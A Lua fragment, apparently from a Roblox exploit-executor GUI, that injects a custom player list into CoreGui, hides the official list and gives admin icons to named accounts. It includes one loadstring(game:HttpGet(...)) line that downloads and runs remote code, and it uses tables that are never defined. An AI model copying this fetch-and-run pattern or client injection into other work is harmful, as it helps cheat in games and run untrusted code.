- function onClimbing()
- pose = "Climbing"
- end
- function onGettingUp()
- pose = "GettingUp"
- end
- function onFreeFall()
- pose = "FreeFall"
- end
- function onFallingDown()
- pose = "FallingDown"
- end
- function onSeated()
- pose = "Seated"
- end
- function onPlatformStanding()
- pose = "PlatformStanding"
- end
- function onSwimming(speed)
- if speed>0 then
- pose = "Running"
- else
- pose = "Standing"
- end
- end
- function moveJump()
- RightShoulder.MaxVelocity = jumpMaxLimbVelocity
- LeftShoulder.MaxVelocity = jumpMaxLimbVelocity
- RightShoulder:SetDesiredAngle(3.14)
- LeftShoulder:SetDesiredAngle(-3.14)
- RightHip:SetDesiredAngle(0)
- LeftHip:SetDesiredAngle(0)
- end
- -- same as jump for now
- function moveFreeFall()
- RightShoulder.MaxVelocity = jumpMaxLimbVelocity
- LeftShoulder.MaxVelocity = jumpMaxLimbVelocity
- RightShoulder:SetDesiredAngle(3.14)
- LeftShoulder:SetDesiredAngle(-3.14)
- RightHip:SetDesiredAngle(0)
- LeftHip:SetDesiredAngle(0)
- end
- function moveSit()
- RightShoulder.MaxVelocity = 0.15
- LeftShoulder.MaxVelocity = 0.15
- RightShoulder:SetDesiredAngle(3.14 /2)
- LeftShoulder:SetDesiredAngle(-3.14 /2)
- RightHip:SetDesiredAngle(3.14 /2)
- LeftHip:SetDesiredAngle(-3.14 /2)
- end
- function getTool()
- for _, kid in ipairs(Figure:GetChildren()) do
- if kid.className == "Tool" then return kid end
- end
- return nil
- end
- function getToolAnim(tool)
- for _, c in ipairs(tool:GetChildren()) do
- if c.Name == "toolanim" and c.className == "StringValue" then
- return c
- end
- end
- return nil
- end
- function animateTool()
- if (toolAnim == "None") then
- RightShoulder:SetDesiredAngle(1.57)
- return
- end
- if (toolAnim == "Slash") then
- RightShoulder.MaxVelocity = 0.5
- RightShoulder:SetDesiredAngle(0)
- return
- end
- if (toolAnim == "Lunge") then
- RightShoulder.MaxVelocity = 0.5
- LeftShoulder.MaxVelocity = 0.5
- RightHip.MaxVelocity = 0.5
- LeftHip.MaxVelocity = 0.5
- RightShoulder:SetDesiredAngle(1.57)
- LeftShoulder:SetDesiredAngle(1.0)
- RightHip:SetDesiredAngle(1.57)
- LeftHip:SetDesiredAngle(1.0)
- return
- end
- end
- function move(time)
- local amplitude
- local frequency
- if (pose == "Jumping") then
- moveJump()
- return
- end
- if (pose == "FreeFall") then
- moveFreeFall()
- return
- end
- if (pose == "Seated") then
- moveSit()
- return
- end
- local climbFudge = 0
- if (pose == "Running") then
- if (RightShoulder.CurrentAngle > 1.5 or RightShoulder.CurrentAngle < -1.5) then
- RightShoulder.MaxVelocity = jumpMaxLimbVelocity
- else
- RightShoulder.MaxVelocity = 0.15
- end
- if (LeftShoulder.CurrentAngle > 1.5 or LeftShoulder.CurrentAngle < -1.5) then
- LeftShoulder.MaxVelocity = jumpMaxLimbVelocity
- else
- LeftShoulder.MaxVelocity = 0.15
- end
- amplitude = 1
- frequency = 9
- elseif (pose == "Climbing") then
- RightShoulder.MaxVelocity = 0.5
- LeftShoulder.MaxVelocity = 0.5
- amplitude = 1
- frequency = 9
- climbFudge = 3.14
- else
- amplitude = 0.1
- frequency = 1
- end
- desiredAngle = amplitude * math.sin(time*frequency)
- RightShoulder:SetDesiredAngle(desiredAngle + climbFudge)
- LeftShoulder:SetDesiredAngle(desiredAngle - climbFudge)
- RightHip:SetDesiredAngle(-desiredAngle)
- LeftHip:SetDesiredAngle(-desiredAngle)
- local tool = getTool()
- if tool then
- animStringValueObject = getToolAnim(tool)
- if animStringValueObject then
- toolAnim = animStringValueObject.Value
- -- message recieved, delete StringValue
- animStringValueObject.Parent = nil
- toolAnimTime = time + .3
- end
- if time > toolAnimTime then
- toolAnimTime = 0
- toolAnim = "None"
- end
- animateTool()
- else
- toolAnim = "None"
- toolAnimTime = 0
- end
- end
- -- connect events
- Humanoid.Died:connect(onDied)
- Humanoid.Running:connect(onRunning)
- Humanoid.Jumping:connect(onJumping)
- Humanoid.Climbing:connect(onClimbing)
- Humanoid.GettingUp:connect(onGettingUp)
- Humanoid.FreeFalling:connect(onFreeFall)
- Humanoid.FallingDown:connect(onFallingDown)
- Humanoid.Seated:connect(onSeated)
- Humanoid.PlatformStanding:connect(onPlatformStanding)
- Humanoid.Swimming:connect(onSwimming)
- -- main program
- local runService = game:service("RunService");
- while Figure.Parent~=nil do
- local _, time = wait(0.1)
- move(time)
- end
- end
- end)
- end
- coroutine.wrap(EJAJAVZ_fake_script)()
- local function PLEGWK_fake_script() -- oldplrlist.LocalScript
- local script = Instance.new('LocalScript', oldplrlist)
- script.Parent.MouseButton1Click:Connect(function()
- if not game:IsLoaded() then
- game.Loaded:Wait()
- end
- wait(8)
- if game.CoreGui:FindFirstChild("ScreenGui") then
- game.CoreGui.ScreenGui:Destroy()
- end
- game:GetService("StarterGui"):SetCoreGuiEnabled("PlayerList", false) -- Ctrl+F "API DOCS" to get the docs
- local uieiie = Instance.new("ScreenGui",game.CoreGui)
- --settings. Don't make these local.
- ALLOW_BC_ICONS = true -- Players' BC icons will be shown next to their names
- PRIMARY_LEADERSTATS_ENABLED = true -- Leaderstats will appear in large text under the player's name
- SHOW_PRIMARY_LEADERSTAT_NAMES = true -- Primary leaderstats will have their names shown next to them
- TEAMS_ENABLED = true -- Teams will appear.
- local c00lkidd5 = "14anz_exiled","riptoasterXD","007n7alt1","anzkidd","jeezsynapseihx","lordmuhamad"
- ADMINS =
- { -- add your name = 1 to get a star icon. Add your name = image to get a custom icon.
- evolving888 = "http://www.roblox.com/asset?id=148012526",
- creepy333 = "http://www.roblox.com/asset?id=148012526",
- enter777 = "http://www.roblox.com/asset?id=148012526",
- c00lkidd5 = "https://www.roblox.com/asset?id=9262784513",
- KanekiiiiianYT = "https://www.roblox.com/asset?id=1061142935",
- }
- ALIASES = {
- creepy333 = "Creepy",
- Minish1111 = "Minish",
- }
- -- API DOCS
- -- _G.PlayerListAPI:SetAllowBCIcons(true or false)
- -- :AddAdmin(String name, Optional Content customIcon, Optional Int customIconWidth)
- -- :RemoveAdmin(String name)
- -- :SetAlias(String name, String alias)
- -- :SetPlayerIsHidden(String name)
- -- :SetLabelColors(String playerName, Color3 backgroundColor, Color3 textColor)
- -- _G.ChatAPI:SendChat(String playername, String message, Color3 customcolor)
- for name,a in pairs(ADMINS) do
- ADMINS[name:lower()] = a
- end
- for name,a in pairs(CUSTOM_CHAT_COLORS) do
- CUSTOM_CHAT_COLORS[name:lower()] = a
- end
- for name,a in pairs(ALIASES) do
- ALIASES[name:lower()] = a
- end
- for name,a in pairs(HIDDEN_PLAYERS) do
- HIDDEN_PLAYERS[name:lower()] = a
- end
- for name,a in pairs(CUSTOM_LABEL_BACKGROUND_COLORS) do
- CUSTOM_LABEL_BACKGROUND_COLORS[name:lower()] = a
- end
- for name,a in pairs(CUSTOM_LABEL_NAME_COLORS) do
- CUSTOM_LABEL_NAME_COLORS[name:lower()] = a
- end
- function GetAliasOf(name)
- return ALIASES[name:lower()] or name
- end
- local export = {}
- export.SetAllowBCIcons = function(self, b)
- ALLOW_BC_ICONS = b
- end
- export.AddAdmin = function(self, name, customicon, customiconwidth)
- ADMINS[name:lower()] = customicon or 1
- ADMIN_ICON_WIDTHS[name:lower()] = customiconwidth or 16
- end
- export.RemoveAdmin = function(self, name)
- ADMINS[name:lower()] = 0
- end
- export.GetChatData = function(self)
- return ADMINS, CUSTOM_CHAT_COLORS, ALIASES
- end
- export.SetAlias = function(self, name, alias)
- if alias == "" or alias == nil then
- ALIASES[name:lower()] = name
- else
- ALIASES[name:lower()] = alias
- end
- end
- export.GetAlias = function(self, name)
- return GetAliasOf(name)
- end
- export.SetLabelColors = function(self, playerName, backgroundColor, textColor)
- CUSTOM_LABEL_BACKGROUND_COLORS[playerName:lower()] = backgroundColor
- CUSTOM_LABEL_NAME_COLORS[playerName:lower()] = textColor
- end
- export.SetPlayerIsHidden = function(self, name, bool)
- local current = not not HIDDEN_PLAYERS[name:lower()]
- local new = not not bool
- local changing = current ~= new
- HIDDEN_PLAYERS[name:lower()] = new
- if changing then
- if new then
- local existingPlayer = nil
- for index, player in next, game.Players:GetPlayers() do
- if player.Name:lower() == name:lower() then
- existingPlayer = player
- break
- end
- end
- if existingPlayer ~= nil then
- InsertPlayerFrame(existingPlayer)
- end
- elseif not new then
- local existingPlayer = nil
- for index, player in next, game.Players:GetPlayers() do
- if player.Name:lower() == name:lower() then
- existingPlayer = player
- break
- end
- end
- if existingPlayer ~= nil then
- RemovePlayerFrame(existingPlayer)
- end
- end
- end
- end
- _G.PlayerListAPI = export
- local Images = {
- bottomDark = '94691904',
- bottomLight = '94691940',
- midDark = '94691980',
- midLight = '94692025',
- LargeDark = '96098866',
- LargeLight = '96098920',
- LargeHeader = '96097470',
- NormalHeader = '94692054',
- LargeBottom = '96397271',
- NormalBottom = '94754966',
- DarkBluePopupMid = '97114905',
- LightBluePopupMid = '97114905',
- DarkPopupMid = '97112126',
- LightPopupMid = '97109338',
- DarkBluePopupTop = '97114838',
- DarkBluePopupBottom = '97114758',
- DarkPopupBottom = '100869219',
- LightPopupBottom = '97109175',
- }
- local BASE_TWEEN = .25
- local MOUSE_HOLD_TIME = .15
- local MOUSE_DRAG_DISTANCE = 15
- --[[
- Generic object Create function, which I am using to create Gui's
- Thanks to Stravant!
- --]]
- local Obj = {}
- function Obj.Create(guiType)
- return function(data)
- local obj = Instance.new(guiType)
- for k, v in pairs(data) do
- if type(k) == 'number' then
- v.Parent = obj
- else
- obj[k] = v
- end
- end
- return obj
- end
- end
- --[[
- makes a full sized background for a guiobject
- @Args:
- imgName asset name of image to fill background
- @Return: background gui object
- --]]
- function MakeBackgroundGuiObj(imgName)
- return Obj.Create'ImageLabel'
- {
- Name = 'Background',
- BackgroundTransparency = 1,
- Image = imgName,
- Position = UDim2.new(0, 0, 0, 0),
- Size = UDim2.new(1,0,1,0),
- }
- end
- --[[ turns 255 integer color value to a color3 --]]
- function Color3I(r,g,b)
- return Color3.new(r/255,g/255,b/255)
- end
- --[[
- Gets correct icon for builder's club status to display by name
- @Args:
- membershipType Enum of membership status
- @Return: string of image asset
- --]]
- function getMembershipTypeIcon(membershipType,playerName)
- if ADMINS[string.lower(playerName)]~=nil then
- if ADMINS[string.lower(playerName)] == 1 then
- return "http://www.roblox.com/asset/?id=146188778"
- else
- local dat = ADMINS[string.lower(playerName)]
- if type(dat) == "table" then
- return dat[1]
- elseif type(dat) == "string" then
- return ADMINS[string.lower(playerName)]
- else
- return "http://www.roblox.com/asset/?id=146188778"
- end
- end
- elseif membershipType == Enum.MembershipType.None then
- return ""
- elseif membershipType == Enum.MembershipType.BuildersClub then
- return "rbxasset://textures/ui/TinyBcIcon.png"
- elseif membershipType == Enum.MembershipType.TurboBuildersClub then
- return "rbxasset://textures/ui/TinyTbcIcon.png"
- elseif membershipType == Enum.MembershipType.OutrageousBuildersClub then
- return "rbxasset://textures/ui/TinyObcIcon.png"
- else
- error("Unknown membershipType" .. membershipType)
- end
- end
- local function getFriendStatusIcon(friendStatus)
- if friendStatus == Enum.FriendStatus.Unknown or friendStatus == Enum.FriendStatus.NotFriend then
- return ""
- elseif friendStatus == Enum.FriendStatus.Friend then
- return "http://www.roblox.com/asset/?id=99749771"
- elseif friendStatus == Enum.FriendStatus.FriendRequestSent then
- return "http://www.roblox.com/asset/?id=99776888"
- elseif friendStatus == Enum.FriendStatus.FriendRequestReceived then
- return "http://www.roblox.com/asset/?id=99776838"
- else
- error("Unknown FriendStatus: " .. friendStatus)
- end
- end
- --[[
- Utility function to create buttons for the popup menus
- @Args:
- nparent what to parent this button to
- ntext text to put on this button
- index number index of this entry in menu
- last is this the last element of the popup menu
- @Return: a popup menu button
- --]]
- function MakePopupButton(nparent,ntext,index,last)
- local tobj = Obj.Create"ImageButton"
- {
- Name = 'ReportButton',
- BackgroundTransparency = 1,
- Position = UDim2.new(0,0,1*index,0),
- Size = UDim2.new(1, 0, 1, 0),
- ZIndex=7,
- Obj.Create'TextLabel'
- {
- Name = 'ButtonText',
- BackgroundTransparency = 1,
- Position = UDim2.new(.07, 0, .07, 0),
- Size = UDim2.new(.86,0,.86,0),
- Parent = HeaderFrame,
- Font = 'ArialBold',
- Text = ntext,
- FontSize = 'Size14',
- TextScaled = true,
- TextColor3 = Color3.new(1,1,1),
- TextStrokeTransparency = 1,
- ZIndex=7,
- },
- Parent = nparent,
- }
- if index==0 then
- tobj.Image = 'http://www.roblox.com/asset/?id=97108784'
- elseif last then
- if index%2==1 then
- tobj.Image = 'http://www.roblox.com/asset/?id='.. Images['LightPopupBottom']
- else
- tobj.Image = 'http://www.roblox.com/asset/?id='.. Images['DarkPopupBottom']
- end
- else
- if index%2==1 then
- tobj.Image = 'http://www.roblox.com/asset/?id=97112126'
- else
- tobj.Image = 'http://www.roblox.com/asset/?id=97109338'
- end
- end
- return tobj
- end
- --[[
- obligatory wait for child function
- @Args:
- parent Parent object to look for child in
- child name of child object to look for
- @Return: object waited for
- --]]
- function WaitForChild(parent,child)
- while not parent:FindFirstChild(child) do
- wait() debugprint(" child "..parent.Name.." waiting for "..child)
- end
- return parent[child]
- end
- ---------------------------
- -- Workspace Objects
- ---------------------------
- -- might want to move all this to an init function, wait for localplayer elsewhere
- local Players = game:GetService('Players')
- -- make sure this doesn't run on the server(it will if you dont do this)
- while not Players.LocalPlayer do
- Players.Changed:wait()
- end
- local LocalPlayer = Players.LocalPlayer
- local Mouse = LocalPlayer:GetMouse()
- local ScreenGui = Obj.Create"Frame"
- {
- Name = 'PlayerListScreen',
- Size = UDim2.new(1, 0, 1, 0),
- BackgroundTransparency = 1,
- Parent = uieiie
- }
- local MainFrame = Obj.Create"Frame"
- {
- Name = 'LeaderBoardFrame',
- Position = UDim2.new(1, -150, 0.005, 0),
- Size = UDim2.new(0, 150, 0, 800),
- BackgroundTransparency = 1,
- Parent = ScreenGui,
- }
- --frame used for expanding leaderstats when frame is 'focused'
- local FocusFrame = Obj.Create"Frame"
- {
- Name = 'FocusFrame',
- Position = UDim2.new(0, 0, 0, 0),
- Size = UDim2.new(1, 0, 0, 100),
- BackgroundTransparency = 1,
- Active = true,
- Parent = MainFrame,
- }
- local TemplateFrameYSize = 0.670000017
- -- HEADER
- local HeaderFrame = Obj.Create"Frame"
- {
- Name = 'Header',
- BackgroundTransparency = 1,
- Position = UDim2.new(0,0,0,0),
- Size = UDim2.new(1, 0, .07, 0),
- Parent = MainFrame,
- MakeBackgroundGuiObj('http://www.roblox.com/asset/?id=94692054'),
- }
- local HeaderFrameHeight = HeaderFrame.Size.Y.Scale
- local MaximizeButton = Obj.Create"ImageButton"
- {
- Name = 'MaximizeButton',
- Active = true,
- BackgroundTransparency = 1,
- Position = UDim2.new(0, 0, 0, 0),
- Size = UDim2.new(1,0,1,0),
- Parent = HeaderFrame,
- }
- local HeaderName = Obj.Create"TextLabel"
- {
- Name = 'PlayerName',
- BackgroundTransparency = 1,
- Position = UDim2.new(0, 0, .01, 0),
- Size = UDim2.new(.98,0,.38,0),
- Parent = HeaderFrame,
- Font = 'ArialBold',
- Text = GetAliasOf(LocalPlayer.Name),
- FontSize='Size24',
- --TextScaled = true,
- TextColor3 = Color3.new(1,1,1),
- TextStrokeColor3 = Color3.new(0,0,0),
- TextStrokeTransparency = 0,
- TextXAlignment = 'Right',
- TextYAlignment = 'Center',
- }
- local HeaderScore = Obj.Create"TextLabel"
- {
- Name = 'PlayerScore',
- BackgroundTransparency = 1,
- Position = UDim2.new(0, 0, .4, 0),
- Size = UDim2.new(.98,0,0,30),
- Parent = HeaderFrame,
- Font = 'ArialBold',
- Text = '',
- FontSize='Size24',
- TextYAlignment = 'Top',
- --TextScaled = true,
- TextColor3 = Color3.new(1,1,1),
- TextStrokeTransparency = 1,
- TextXAlignment = 'Right',
- TextYAlignment = 'Top',
- }
- local HeaderScoreName = Obj.Create"TextLabel"
- {
- Name = 'ScoreNameLabel',
- BackgroundTransparency = 1,
- Position = UDim2.new(0, 5, 0, 0),
- Size = UDim2.new(1, 0, 1, 0),
- Font = 'ArialBold',
- FontSize = 'Size14',
- Text = '',
- TextColor3 = Color3.new(1, 1, 1),
- TextStrokeTransparency = 0,
- TextXAlignment = 'Left',
- Parent = HeaderScore
- }
- coroutine.resume(coroutine.create(function() while wait(1) do
- HeaderFrame.PlayerName.Text = GetAliasOf(LocalPlayer.Name)
- end end))
- -- BOTTOM
- --used for shifting bottom frame for mouse over effects
- local BottomShiftFrame = Obj.Create"Frame"
- {
- Name= 'BottomShiftFrame',
- BackgroundTransparency = 1,
- Position = UDim2.new(0,0,HeaderFrameHeight,0),
- Size = UDim2.new(1,0,1,0),
- Parent=MainFrame,
- }
- local BottomFrame = Obj.Create"Frame"
- {
- Name = 'Bottom',
- BackgroundTransparency = 1,
- Position = UDim2.new(0,0,.07,0),
- Size = UDim2.new(1, 0, .03, 0),
- Parent = BottomShiftFrame,
- MakeBackgroundGuiObj('http://www.roblox.com/asset/?id=94754966'),
- }
- local ExtendButton = Obj.Create"ImageButton"
- {
- Name = 'bigbutton',
- Active = true,
- BackgroundTransparency = 1,
- Position = UDim2.new(0, 0, 0, 0),
- Size = UDim2.new(1,0,1.5,0),
- ZIndex = 3,
- Parent = BottomFrame,
- }
- local ExtendTab = Obj.Create"ImageButton"
- {
- Name = 'extendTab',
- Active = true,
- BackgroundTransparency = 1,
- Image = 'http://www.roblox.com/asset/?id=94692731',
- Position = UDim2.new(.608, 0, .3, 0),
- Size = UDim2.new(.3,0,.7,0),
- Parent = BottomFrame,
- }
- local TopClipFrame = Obj.Create"Frame"
- {
- Name = 'ListFrame',
- BackgroundTransparency = 1,
- Position = UDim2.new(-1,0,.07,0),
- Size = UDim2.new(2, 0, 1, 0),
- Parent = MainFrame,
- ClipsDescendants = true,
- }
- local BottomClipFrame = Obj.Create"Frame"
- {
- Name = 'BottomFrame',
- BackgroundTransparency = 1,
- Position = UDim2.new(0,0, - .8,0),
- Size = UDim2.new(1, 0, 1, 0),
- Parent = TopClipFrame,
- ClipsDescendants = true,
- }
- local ScrollBarFrame = Obj.Create"Frame"
- {
- Name = 'ScrollBarFrame',
- BackgroundTransparency = 1,
- Position = UDim2.new(.987,0,.8,0),
- Size = UDim2.new(.01, 0, .2, 0),
- Parent = BottomClipFrame,
- }
- local ScrollBar = Obj.Create"Frame"
- {
- Name = 'ScrollBar',
- BackgroundTransparency = 0,
- BackgroundColor3 = Color3.new(.2,.2,.2),
- Position = UDim2.new(0,0,0,0),
- Size = UDim2.new(1, 0, .5, 0),
- ZIndex = 5,
- Parent = ScrollBarFrame,
- }
- local ListFrame = Obj.Create"Frame"
- {
- Name = 'SubFrame',
- BackgroundTransparency = 1,
- Position = UDim2.new(0,0,.8,0),
- Size = UDim2.new(1, 0, 1, 0),
- Parent = BottomClipFrame,
- }
- local PopUpClipFrame = Obj.Create"Frame"
- {
- Name = 'PopUpFrame',
- BackgroundTransparency = 1,
- SizeConstraint='RelativeXX',
- Position = MainFrame.Position + UDim2.new( 0,-150,0,0),
- Size = UDim2.new(0,150,0,800),
- Parent = MainFrame,
- ClipsDescendants = true,
- ZIndex=7,
- }
- local PopUpPanel = nil
- local PopUpPanelTemplate = Obj.Create"Frame"
- {
- Name = 'Panel',
- BackgroundTransparency = 1,
- Position = UDim2.new(1,0,0,0),
- Size = UDim2.new(1,0,.032,0),
- Parent = PopUpClipFrame,
- }
- local StatTitles = Obj.Create"Frame"
- {
- Name = 'StatTitles',
- BackgroundTransparency = 1,
- Position = UDim2.new(0,0,1,-10),
- Size = UDim2.new(1, 0, 0, 0),
- Parent = HeaderFrame,
- }
- local IsMinimized = Instance.new('BoolValue')
- local IsMaximized = Instance.new('BoolValue')
- local IsTabified = Instance.new('BoolValue')
- local AreNamesExpanded = Instance.new('BoolValue')
- local MiddleTemplate = Obj.Create"Frame"
- {
- Name = 'MidTemplate',
- BackgroundTransparency = 1,
- Position = UDim2.new(100,0,.07,0),
- Size = UDim2.new(.5, 0, .025, 0),--UDim2.new(1, 0, .03, 0),
- Obj.Create'ImageLabel'
- {
- Name = 'BCLabel',
- Active = true,
- BackgroundTransparency = 1,
- Position = UDim2.new(.005, 3, .20, -2),
- Size = UDim2.new(0,16,0,16),
- SizeConstraint = 'RelativeYY',
- Image = "",
- ZIndex = 3,
- },
- Obj.Create'ImageLabel'
- {
- Name = 'FriendLabel',
- Active = true,
- BackgroundTransparency = 1,
- Position = UDim2.new(.005, 5, .15, 0),
- Size = UDim2.new(0,16,0,16),
- SizeConstraint = 'RelativeYY',
- Image = "",
- ZIndex = 3,
- },
- Obj.Create"ImageButton"
- {
- Name = 'ClickListener',
- Active = true,
- BackgroundTransparency = 1,
- Position = UDim2.new(.005, 1, 0, 0),
- Size = UDim2.new(.96,0,1,0),
- ZIndex = 3,
- },
- Obj.Create"Frame"
- {
- Name = 'TitleFrame',
- BackgroundTransparency = 1,
- Position = UDim2.new(.01, 0, 0, 0),
- Size = UDim2.new(0,140,1,0),
- ClipsDescendants=true,
- Obj.Create"TextLabel"
- {
- Name = 'Title',
- BackgroundTransparency = 1,
- Position = UDim2.new(0, 5, 0, 0),
- Size = UDim2.new(100,0,1,0),
- Font = 'Arial',
- FontSize='Size14',
- TextColor3 = Color3.new(1,1,1),
- TextXAlignment = 'Left',
- TextYAlignment = 'Center',
- ZIndex = 3,
- },
- },
- Obj.Create"TextLabel"
- {
- Name = 'PlayerScore',
- BackgroundTransparency = 1,
- Position = UDim2.new(0, 0, 0, 0),
- Size = UDim2.new(1,0,1,0),
- Font = 'ArialBold',
- Text = '',
- FontSize='Size14',
- TextColor3 = Color3.new(1,1,1),
- TextXAlignment = 'Right',
- TextYAlignment = 'Center',
- ZIndex = 3,
- },
- --Obj.Create'IntValue'{Name = 'ID'},
- --Obj.Create'ObjectValue'{Name = 'Player'},
- --Obj.Create'IntValue'{Name = 'Score'},
- ZIndex = 3,
- }
- local MiddleBGTemplate = Obj.Create"Frame"
- {
- Name = 'MidBGTemplate',
- BackgroundTransparency = 1,
- BorderSizePixel = 0,
- Position = UDim2.new(100,0,.07,0),
- Size = UDim2.new(.5, 0, .025, 0),--UDim2.new(1, 0, .03, 0),
- MakeBackgroundGuiObj('http://www.roblox.com/asset/?id=94692025'),
- }
- -- REPORT ABUSE OBJECTS
- local ReportAbuseShield = Obj.Create"TextButton"
- {
- Name = "ReportAbuseShield",
- Text = "",
- AutoButtonColor = false,
- Active = true,
- Visible = true,
- Size = UDim2.new(1,0,1,0),
- BackgroundColor3 = Color3I(51,51,51),
- BorderColor3 = Color3I(27,42,53),
- BackgroundTransparency = 1,
- }
- local ReportAbuseFrame = Obj.Create "Frame"
- {
- Name = "ReportAbuseFrame",
- Position = UDim2.new(0.5, -250, 0.5, -100),
- Size = UDim2.new(0, 500, 0, 200),
- ZIndex = 9,
- Parent = ReportAbuseShield,
- Style = "RobloxRound"
- }
- local ReportAbuseClose = Obj.Create "TextButton"
- {
- BackgroundColor3 = Color3.new(150/255, 0, 0),
- BorderColor3 = Color3.new(200/255, 200/255, 200/255),
- Name = "Close",
- Position = UDim2.new(1, -20, 0, 0),
- Size = UDim2.new(0, 20, 0, 20),
- ZIndex = 10,
- Font = "SourceSansBold",
- FontSize = "Size12",
- Text = "X",
- TextColor3 = Color3.new(200/255, 200/255, 200/255),
- TextStrokeTransparency = 0,
- Parent = ReportAbuseFrame
- }
- local ReportAbuseHeader = Obj.Create "TextLabel"
- {
- BackgroundTransparency = 1,
- Name = "Sorry",
- Position = UDim2.new(0.5, 0, 0, 20),
- ZIndex = 10,
- Font = "ArialBold",
- FontSize = "Size36",
- Text = "Sorry! :(",
- TextColor3 = Color3.new(200/255, 200/255, 200/255),
- TextStrokeTransparency = 0,
- Parent = ReportAbuseFrame
- }
- local ReportAbuseInfo = Obj.Create "TextLabel"
- {
- BackgroundColor3 = Color3.new(),
- BackgroundTransparency = 0.5,
- BorderColor3 = Color3.new(200/255, 200/255, 200/255),
- Name = "ReportAbuseInfo",
- Position = UDim2.new(0, 0, 0, 50),
- Size = UDim2.new(1, 0, 1, -50),
- Font = "ArialBold",
- FontSize = "Size14",
- Text = "This game is using a specialized player list that uses an API to unlock certain features. Because this is a modified player list, certain high-level functions are disabled such as in-game Friend Requests and the Report Abuse function.",
- TextColor3 = Color3.new(200/255, 200/255, 200/255),
- TextStrokeTransparency = 0,
- TextYAlignment = "Top",
- ZIndex = 10,
- TextWrapped = true,
- Parent = ReportAbuseFrame,
- Obj.Create"TextLabel"
- {
- BackgroundTransparency = 1,
- Name = "FRs",
- Position = UDim2.new(0, 20, 0, 50),
- Size = UDim2.new(1, -40, 1, -50),
- ZIndex = 10,
- Font = "Arial",
- FontSize = "Size12",
- Text = "To add a friend, you will need to go to the roblox site and find them using the player search page. Once you've found them, click the \"Add Friend\" button under their character.",
- TextColor3 = Color3.new(200/255, 200/255, 200/255),
- TextStrokeTransparency = 0,
- TextWrapped = true,
- TextYAlignment = "Top"
- },
- Obj.Create"TextLabel"
- {
- BackgroundTransparency = 1,
- Name = "Report",
- Position = UDim2.new(0, 20, 0, 90),
- Size = UDim2.new(1, -40, 1, -50),
- ZIndex = 10,
- Font = "Arial",
- FontSize = "Size12",
- Text = "To report abuse, you need to open your game menu by pressing the 'Esc' button on your keyboard, then click Report Abuse and fill out the necessary information.",
- TextColor3 = Color3.new(200/255, 200/255, 200/255),
- TextStrokeTransparency = 0,
- TextWrapped = true,
- TextYAlignment = "Top"
- }
- }
- local BigButton=Instance.new('ImageButton')
- BigButton.Size=UDim2.new(1,0,1,0)
- BigButton.BackgroundTransparency=1
- BigButton.ZIndex=8
- BigButton.Visible=false
- --BigButton.Active=false
- BigButton.Parent=ScreenGui
- local debugFrame = Obj.Create"Frame"
- {
- Name = 'debugframe',
- Position = UDim2.new(0, 0, 0, 0),
- Size = UDim2.new(0, 150, 0, 800),--0.99000001
- BackgroundTransparency = 1,
- }
- local debugplayers = Obj.Create"TextLabel"
- {
- BackgroundTransparency = .8,
- Position = UDim2.new(0, 0, .01, 0),
- Size = UDim2.new(1,0,.5,0),
- Parent = debugFrame,
- Font = 'ArialBold',
- Text = '--',
- FontSize='Size14',
- TextWrapped=true,
- TextColor3 = Color3.new(1,1,1),
- TextStrokeColor3 = Color3.new(0,0,0),
- TextStrokeTransparency = 0,
- TextXAlignment = 'Right',
- TextYAlignment = 'Center',
- }
- local debugOutput = Obj.Create"TextLabel"
- {
- BackgroundTransparency = .8,
- Position = UDim2.new(0, 0, .5, 0),
- Size = UDim2.new(1,0,.5,0),
- Parent = debugFrame,
- Font = 'ArialBold',
- Text = '--',
- FontSize='Size14',
- TextWrapped=true,
- TextColor3 = Color3.new(1,1,1),
- TextStrokeColor3 = Color3.new(0,0,0),
- TextStrokeTransparency = 0,
- TextXAlignment = 'Right',
- TextYAlignment = 'Center',
- }
- --[[
- simple function to toggle the display of debug output
- --]]
- local DebugPrintEnabled=true
- function debugprint(str)
- --print(str)
- if DebugPrintEnabled then
- debugOutput.Text=str
- end
- end
- -------------------------
- -- Script objects
- -------------------------
- local RbxGui = loadstring(game:HttpGet("https://raw.githubusercontent.com/Roblox/Core-Scripts/master/CoreScriptsRoot/Libraries/RbxGui.lua", true))()
- -- number of entries to show if you click minimize
- local DefaultEntriesOnScreen = 8
- for _,i in pairs(Images) do
- Game:GetService("ContentProvider"):Preload("http://www.roblox.com/asset/?id="..i)
- end
- -- ordered array of 'score data', each entry has:
- -- Name(String)
- -- Priority(number)
- -- IsPrimary (bool, should it be shown in upper right)
- -- MaxLength (integer, of the length of the longest element for this column)
- local ScoreNames = {}
- -- prevents flipping in playerlist panels
- local AddId = 0
- -- intermediate table form of all player entries in format of:
- -- Frame
- -- Player
- -- Score
- -- ID
- -- MyTeam (team ENRTY(not actual team) I am currently on)
- local PlayerFrames = {}
- -- intermediate ordered frame array, composed of Entrys of
- -- Frame
- -- MyTeam (my team object)
- -- MyPlayers ( an ordered array of all player frames in team )
- -- AutoHide (bool saying whether it should be hidden)
- -- IsHidden (bool)
- -- ID (int to prevent flipping out of leaderboard, fun times)
- local TeamFrames = {}
- -- one special entry from teamFrames, for unaffiliated players, only shown if players non - empty
- local NeutralTeam = nil
- -- final 'to be displayed' list of frames
- local MiddleFrames = {}
- local MiddleFrameBackgrounds = {}
- local MiddleFrameHeight = .03
- -- time of last click
- local LastClick = 0
- local ButtonCooldown = .25
- local OnIos = false
- pcall(function() OnIos = Game:GetService('UserInputService').TouchEnabled end)
- -- you get 200 of x screen space per stat added, start width 16%
- local BaseScreenXSize = 150
- local SpacingPerStat = 10 --spacing between stats
- local MaximizedBounds = UDim2.new(.5,0,1,0)
- local MaximizedPosition = UDim2.new(.25,0,.1,0)
- local NormalBounds = UDim2.new(0,BaseScreenXSize, 0, 800)
- local NormalPosition = UDim2.new(1 , - BaseScreenXSize, 0.005, 0)
- local MinimizedBounds = UDim2.new(0, BaseScreenXSize, 0.99000001, 0)
- --free space to give last stat on the right
- local RightEdgeSpace = -.04
- -- where the scroll par currently is positioned
- local ScrollPosition = 0.75999999
- local IsDragging = false -- am I dragging the player list
- local DefaultBottomClipPos = BottomClipFrame.Position.Y.Scale
- local LastSelectedPlayerEntry = nil
- local SelectedPlayerEntry = nil
- local SelectedPlayer = nil
- -- locks(semaphores) for stopping race conditions
- local AddingFrameLock = false
- local ChangingOrderLock = false
- local AddingStatLock = false
- local BaseUpdateLock = false
- local WaitForClickLock = false
- local InPopupWaitForClick=false
- local PlayerChangedLock = false
- local NeutralTeamLock = false
- local ScrollWheelConnections = {}
- local DefaultListSize = 8
- if not OnIos then DefaultListSize = 12 end
- local DidMinimizeDrag = false
- --local PlaceCreatorId=game.CreatorId
- -- report abuse objects
